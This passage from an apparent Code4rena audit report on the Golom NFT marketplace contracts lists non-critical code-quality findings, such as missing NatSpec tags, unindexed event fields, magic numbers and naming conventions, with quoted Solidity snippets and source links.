490:    ///      Throws if `_tokenId` is owned by someone.
491:    function _addTokenTo(address _to, uint256 _tokenId) internal {

				//@audit NatSpec tags @param _from, @param _tokenId are missing
502:    /// @dev Remove a NFT from a given address
503:    ///      Throws if `_from` is not the current owner.
504:    function _removeTokenFrom(address _from, uint256 _tokenId) internal {

				//@audit NatSpec tags @param _owner, @param _tokenId are missing
515:    /// @dev Clear an approval of a given address
516:    ///      Throws if `_owner` is not the current owner.
517:    function _clearApproval(address _owner, uint256 _tokenId) internal {

					//@audit NatSpec tags @param _from, @param _to, @param _tokenId, @param _sender are missing
526:     /// @dev Exeute transfer of a NFT.
527:     ///      Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
528:     ///      address for this NFT. (NOTE: `msg.sender` not allowed in internal function so pass `_sender`.)
529:     ///      Throws if `_to` is the zero address.
530:     ///      Throws if `_from` is not the current owner.
531:     ///      Throws if `_tokenId` is not a valid NFT.
532:     function _transferFrom(
533:         address _from,
534:         address _to,
535:         uint256 _tokenId,
536:         address _sender
537:     ) internal virtual {

				//@audit NatSpec tag @param _tokenId is missing
974:     /// @notice Deposit `_value` additional tokens for `_tokenId` without modifying the unlock time
975:     /// @param _value Amount of tokens to deposit and add to the lock
976:     function increase_amount(uint256 _tokenId, uint256 _value) external nonreentrant {

				//@audit NatSpec tag @param _tokenId is missing
988:     /// @notice Extend the unlock time for `_tokenId`
989:     /// @param _lock_duration New number of seconds until tokens unlock
990:     function increase_unlock_time(uint256 _tokenId, uint256 _lock_duration) external nonreentrant {

					//@audit NatSpec tag @param t is missing
1189:     /// @notice Calculate total voting power
1190:     /// @dev Adheres to the ERC20 `totalSupply` interface for Aragon compatibility
1191:     /// @return Total voting power
1192:     function totalSupplyAtT(uint256 t) public view returns (uint256) {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/TokenUriHelper.sol#L11

File:	contracts/vote-escrow/TokenUriHelper.sol
				//@audit NatSpec tag @param data is missing
11:     /// @notice Encodes some bytes to the base64 representation
12:     function encode(bytes memory data) internal pure returns (string memory) {

[N-04] Event is missing indexed fields

Each event should use three indexed fields if there are three or more fields Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L70

File:	contracts/rewards/RewardDistributor.sol
70:     event NewEpoch(uint256 indexed epochNo, uint256 tokenMinted, uint256 rewardStaker, uint256 previousEpochFee);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L29

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
29:     event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L4

File:	contracts/vote-escrow/VoteEscrowCore.sol
284:     event Deposit(
285:         address indexed provider,
286:         uint256 tokenId,
287:         uint256 value,
288:         uint256 indexed locktime,
289:         DepositType deposit_type,
290:         uint256 ts
291:     );
292:     event Withdraw(address indexed provider, uint256 tokenId, uint256 value, uint256 ts);

[N-05] Remove commented out code

Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L171

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
218:     // /// @notice Remove delegation by user
219:     // function removeDelegationByOwner(uint256 delegatedTokenId, uint256 ownerTokenId) external {
220:     //     require(ownerOf(ownerTokenId) == msg.sender, 'VEDelegation: Not allowed');
221:     //     uint256 nCheckpoints = numCheckpoints[delegatedTokenId];
222:     //     Checkpoint storage checkpoint = checkpoints[delegatedTokenId][nCheckpoints - 1];
223:     //     removeElement(checkpoint.delegatedTokenIds, delegatedTokenId);
224:     //     _writeCheckpoint(ownerTokenId, nCheckpoints, checkpoint.delegatedTokenIds);
225:     // }

[N-06] No need to explicitly initialize variables with default values

If a variable is not set/initialized, it is assumed to have the default value (0 for uint, false for bool, address(0) for address...). Explicitly initializing it with its default value is an anti-pattern. As an example: for (uint256 i = 0; i < numIterations; ++i) { should be replaced with for (uint256 i; i < numIterations; ++i) { Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L142

File:	contracts/rewards/RewardDistributor.sol
142:         uint256 reward = 0;
143:         for (uint256 index = 0; index < epochs.length; index++) {

156:         uint256 reward = 0;
157:         for (uint256 index = 0; index < epochs.length; index++) {

175:         uint256 reward = 0;
176:         uint256 rewardEth = 0;

180:         for (uint256 tindex = 0; tindex < tokenids.length; tindex++) {

183:             for (uint256 index = 0; index < epochs.length; index++) {

222:         uint256 reward = 0;
223:         uint256 rewardEth = 0;

226:         for (uint256 index = 0; index < epoch; index++) {

257:         uint256 reward = 0;
258:         for (uint256 index = 0; index < epoch; index++) {

272:         uint256 reward = 0;
273:         for (uint256 index = 0; index < epoch; index++) {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L415

File:	contracts/core/GolomTrader.sol 
415:         for (uint256 i = 0; i < proof.length; i++) {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L147

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
147:         uint256 lower = 0;

170:         uint256 votes = 0;
171:         for (uint256 index = 0; index < delegated.length; index++) {

188:         uint256 votes = 0;
189:         for (uint256 index = 0; index < delegatednft.length; index++) {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L697

File:	contracts/vote-escrow/VoteEscrowCore.sol
697:         int128 old_dslope = 0;
698:         int128 new_dslope = 0;

735:         uint256 block_slope = 0; // dblock/dt

745:             for (uint256 i = 0; i < 255; ++i) {

749:                 int128 d_slope = 0;

1042:         uint256 _min = 0;

1044:         for (uint256 i = 0; i < 128; ++i) {

1113:         uint256 _min = 0;

1115:         for (uint256 i = 0; i < 128; ++i) {

1133:         uint256 d_block = 0;
1134:         uint256 d_t = 0;

1167:         for (uint256 i = 0; i < 255; ++i) {

1169:             int128 d_slope = 0;

1211:         uint256 dt = 0;

[N-07] require()/revert() statements should have descriptive reason strings

Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L88

File:	contracts/rewards/RewardDistributor.sol
88:         require(msg.sender == trader);

144:             require(epochs[index] < epoch);

158:             require(epochs[index] < epoch);

217:         require(msg.value >= o.totalAmt * amount + p.paymentAmt, 'mgmtm'); //@audit Saruman | golom.io: "No hidden meaning just random string"

220:             require(msg.sender == o.reservedAddress);

285:         require(
286:             o.totalAmt * amount >
287:                 (o.exchange.paymentAmt + o.prePayment.paymentAmt + o.refererrAmt) * amount + p.paymentAmt
288:         ); 

291:             require(msg.sender == o.reservedAddress);

293:         require(o.orderType == 1);

295:         require(status == 3);
296:         require(amountRemaining >= amount);

313:         require(o.signer == msg.sender);

342:         require(o.totalAmt >= o.exchange.paymentAmt + o.prePayment.paymentAmt + o.refererrAmt);

345:             require(msg.sender == o.reservedAddress);

347:         require(o.orderType == 2);
349:         require(status == 3);
350:         require(amountRemaining >= amount);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L245

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
245:         require(_isApprovedOrOwner(_sender, _tokenId));

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L360

File:	contracts/vote-escrow/VoteEscrowCore.sol
360:         require(_entered_state == _not_entered);

540:         require(_isApprovedOrOwner(_sender, _tokenId));

646:         require(owner != address(0));

648:         require(_approved != owner);

652:         require(senderIsOwner || senderIsApprovedForAll);

869:         require(msg.sender == voter);

874:         require(msg.sender == voter);

879:         require(msg.sender == voter);

884:         require(msg.sender == voter);

889:         require(msg.sender == voter);

895:         require(_from != _to);
896:         require(_isApprovedOrOwner(msg.sender, _from));
897:         require(_isApprovedOrOwner(msg.sender, _to));

927:         require(_value > 0); // dev: need non-zero value

944:         require(_value > 0); // dev: need non-zero value

[N-08] Large multiples of ten should use scientific notation (e.g. 1e6) rather than decimal literals (e.g. 1000000000 or 10**18), for readability and obsolete calculations.

There are 2 instances of this issue: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L48

File:	contracts/rewards/RewardDistributor.sol
48:     uint256 constant dailyEmission = 600000 * 10**18;

100:    if (rewardToken.totalSupply() > 1000000000 * 10**18) {

[N-09] constants should be defined rather than using magic numbers

Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L44

File:	contracts/governance/GolomToken.sol
44:         _mint(_airdrop, 150_000_000 * 1e18);

52:         _mint(_rewardDistributor, 62_500_000 * 1e18);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L48

File:	contracts/rewards/RewardDistributor.sol
100:         if (rewardToken.totalSupply() > 1000000000 * 10**18) {

120:             rewardTrader[epoch] = ((tokenToEmit - stakerReward) * 67) / 100;
121:             rewardExchange[epoch] = ((tokenToEmit - stakerReward) * 33) / 100;

179:             return (0, hashStruct, 0);

183:             return (1, hashStruct, 0);

187:             return (2, hashStruct, 0);

191:             return (2, hashStruct, 0);

193:         return (3, hashStruct, o.tokenAmt - filled[hashStruct]);

212:             o.totalAmt >= o.exchange.paymentAmt + o.prePayment.paymentAmt + o.refererrAmt + (o.totalAmt * 50) / 10000,

226:         require(status == 3, 'order not valid');

242:         payEther(((o.totalAmt * 50) / 10000) * amount, address(distributor));

254:                     (o.totalAmt * 50) /
255:                     10000 -

263:                 (o.totalAmt - (o.totalAmt * 50) / 10000 - o.exchange.paymentAmt - o.prePayment.paymentAmt) * amount,

269:         distributor.addFee([o.signer, o.exchange.paymentAddress], ((o.totalAmt * 50) / 10000) * amount);

381:         uint256 protocolfee = ((o.totalAmt * 50) / 10000) * amount;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L611

File:	contracts/vote-escrow/VoteEscrowCore.sol
611:                         revert(add(32, reason), mload(reason))

745:             for (uint256 i = 0; i < 255; ++i) {

1044:         for (uint256 i = 0; i < 128; ++i) {

1115:         for (uint256 i = 0; i < 128; ++i) {

1167:         for (uint256 i = 0; i < 255; ++i) {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/TokenUriHelper.sol#L17

File:	contracts/vote-escrow/TokenUriHelper.sol
17:         uint256 encodedLen = 4 * ((len + 2) / 3);

20:         bytes memory result = new bytes(encodedLen + 32);

139:             temp /= 10;

145:             value /= 10;

[N-10] Numeric values having to do with time should use time units for readability

There are units for seconds, minutes, hours, days, and weeks Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L57

File:	contracts/rewards/RewardDistributor.sol
57:     uint256 constant secsInDay = 24 * 60 * 60; 

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L4

File:	contracts/vote-escrow/VoteEscrowCore.sol
296:     uint256 internal constant MAXTIME = 4 * 365 * 86400;
297:     int128 internal constant iMAXTIME = 4 * 365 * 86400;

[N-11] Use a more recent version of solidity

Use a solidity version of at least 0.8.12 to get string.concat() instead of abi.encodePacked(<str>,<str>) Use a solidity version of at least 0.8.13 to get the ability to use using for with a list of free functions Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L2

File:	contracts/governance/GolomToken.sol
2: pragma solidity ^0.8.11;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L3

File:	contracts/core/GolomTrader.sol 
3: pragma solidity 0.8.11;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/TokenUriHelper.sol#L3

File:	contracts/vote-escrow/TokenUriHelper.sol
3: pragma solidity 0.8.11;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L2

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
2: pragma solidity 0.8.11;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L2

File:	contracts/vote-escrow/VoteEscrowCore.sol
2: pragma solidity 0.8.11;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L2

File:	contracts/rewards/RewardDistributor.sol
2: pragma solidity 0.8.11;

[N-12] States/flags should use Enums rather than plainuint

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L51

File:	contracts/core/GolomTrader.sol 
51:         uint256 orderType; // 0 if selling nft for eth , 1 if offering weth for nft,2 if offering weth for collection with special criteria root

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L356

File:	contracts/vote-escrow/VoteEscrowCore.sol
356:     uint8 internal constant _not_entered = 1;
357:     uint8 internal constant _entered = 2;

[N-13] File does not contain an SPDX Identifier

Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/TokenUriHelper.sol#L1

File:	contracts/vote-escrow/TokenUriHelper.sol
1: /// [MIT License]

[N-14] Incorrectly positioned comment

Some comments are misplaced. Check @audit for details. Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L152

File:	contracts/core/GolomTrader.sol 
152:         if (payAmt > 0) {
153:             // if royalty has to be paid  @audit comment should be above if check

342:         require(o.totalAmt >= o.exchange.paymentAmt + o.prePayment.paymentAmt + o.refererrAmt);
343:         // require eth amt is sufficient  @audit this comment should be before require check above;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L538

File:	contracts/vote-escrow/VoteEscrowCore.sol
538:         require(attachments[_tokenId] == 0 && !voted[_tokenId], 'attached');
539:         // Check requirements  @audit this comment should be before require check above;

[N-15] constant naming conventions not followed

Constants should be written in uppercase characters separated by underscores. Constant names may also contain digits if appropriate, but not as the first character. Some constants do not follow it; Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L48

File:	contracts/rewards/RewardDistributor.sol
48:     uint256 constant dailyEmission = 600000 * 10**18;

57:     uint256 constant secsInDay = 24 * 60 * 60;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L297

File:	contracts/vote-escrow/VoteEscrowCore.sol
297:     int128 internal constant iMAXTIME = 4 * 365 * 86400;

317:     string public constant name = 'veNFT';
318:     string public constant symbol = 'veNFT';
319:     string public constant version = '1.0.0';
320:     uint8 public constant decimals = 18;

356:     uint8 internal constant _not_entered = 1;
357:     uint8 internal constant _entered = 2;

[N-16] Variable naming conventions not followed

variable MIN_VOTING_POWER_REQUIRED should not be uppercased, it looks like it is a constant but it is not Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L50

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
50:     uint256 public MIN_VOTING_POWER_REQUIRED = 0;

261:    MIN_VOTING_POWER_REQUIRED = _newMinVotingPower;

[N-17] Obsolete return; at the function end

return; is obsolete at the end of a function Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L137

File:	contracts/rewards/RewardDistributor.sol
137:         return;
138:     }